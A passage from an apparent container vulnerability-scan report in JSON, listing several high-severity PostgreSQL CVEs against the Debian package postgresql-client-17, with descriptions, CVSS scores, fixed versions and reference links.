code as the operating system user running the database, via extreme inputs to SQL function levenshtein() or levenshtein_less_equal(). Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-15742", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-15742.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-15742", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-15742", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-15742/" ], "PublishedDate": "2026-08-13T13:17:46.103Z", "LastModifiedDate": "2026-08-29T23:17:18.653Z" }, { "VulnerabilityID": "CVE-2026-16239", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-16239", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:917bdc2fad16297521c702687eb515c47df545deaf9872233cfea09238c347aa", "Title": "postgresql: PostgreSQL: Arbitrary code execution via type confusion in cursor lifecycle", "Description": "Type confusion in PostgreSQL \"portal\"/cursor lifecycle allows a user to execute arbitrary code as the operating system user running the database, via re-creation of a cursor or other portal with different types. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-16239", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-16239.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-16239", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-16239", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-16239/" ], "PublishedDate": "2026-08-13T13:17:46.52Z", "LastModifiedDate": "2026-08-29T23:17:19.52Z" }, { "VulnerabilityID": "CVE-2026-18408", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-18408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ce1703b14f9ffc904962ce6249e6dae6f957c901e896016b13d503ebe3c1f5a0", "Title": "postgresql: PostgreSQL: Arbitrary code execution via untrusted data inclusion in pg_dump", "Description": "Untrusted data inclusion in pg_dump in PostgreSQL allows a malicious superuser of the origin server to inject arbitrary code for restore-time execution as the client operating system account running psql to restore the dump, via psql \\restrict meta-command input expansion. The fix for CVE-2025-8714 introduced \\restrict and \\unrestrict to block this attack, but \\unrestrict itself was sufficient for an attack. pg_dumpall is also affected. pg_restore is affected when used to generate a plain-format dump. Non-core use of \\restrict would be affected, but we've not identified non-core use. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-829" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-18408", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-18408.html", "https://linux.oracle.com/errata/ELSA-2026-72274.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-18408", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-18408", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-18408/" ], "PublishedDate": "2026-08-13T13:17:48.127Z", "LastModifiedDate": "2026-08-29T23:17:20.843Z" }, { "VulnerabilityID": "CVE-2026-19385", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-19385", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60201568632cdfa6a94e2128fd6ab57125e205a8b2ea1c2c7b961324a4dc33c0", "Title": "postgresql: PostgreSQL pg_dump: Arbitrary code execution via crafted transform lists", "Description": "Heap buffer overflow in PostgreSQL pg_dump of long function transform lists allows an object creator to execute arbitrary code as the operating system user running pg_dump, via a crafted transform list. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-19385", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-19385.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-19385", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-19385", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-19385/" ], "PublishedDate": "2026-08-13T13:17:48.74Z", "LastModifiedDate": "2026-08-29T23:17:21.28Z" }, { "VulnerabilityID": "CVE-2026-6464", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6464", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1bbd2a7c4424cdfd9c955a9a58ec11190d2d22dda8472cd0df51df83c948ac68", "Title": "postgresql: PostgreSQL psql: Arbitrary command execution via untrusted data in COPY FROM STDIN", "Description": "Untrusted data inclusion in PostgreSQL psql COPY may allow a server administrator to elicit execution of data lines as psql commands, via error injection. If the \"COPY FROM STDIN\" or \"\\copy FROM STDIN\" command fails before the server indicates that it awaits input rows, psql processes the in-line data rows as psql commands. \"COPY FROM\" with a filename is unaffected. The server administrator has no inherent control over the data rows, so a complete attack requires the attacker to separately acquire control of both the server and the data rows. Alternatively, an attacker controlling data rows alone might complete an attack through a coincidental error that they don't control. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-829" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-6464", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-6464.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-6464", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-6464", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-6464/" ], "PublishedDate": "2026-08-13T13:19:16.347Z", "LastModifiedDate": "2026-08-29T23:17:21.723Z" }, { "VulnerabilityID": "CVE-2026-6471", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6471", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bea9fe6e355b0c72da344492e104ce59ea790ce93b80e6fb9923de47627745b4", "Title": "postgresql: PostgreSQL: Arbitrary code execution via logical decoding plugin", "Description": "Missing authorization in PostgreSQL logical decoding allows a non-superuser holding REPLICATION privilege to dlopen any file visible to the operating system account running the server, via the choice of logical decoding plugin. This in turn runs arbitrary code as that account. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-6471", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", 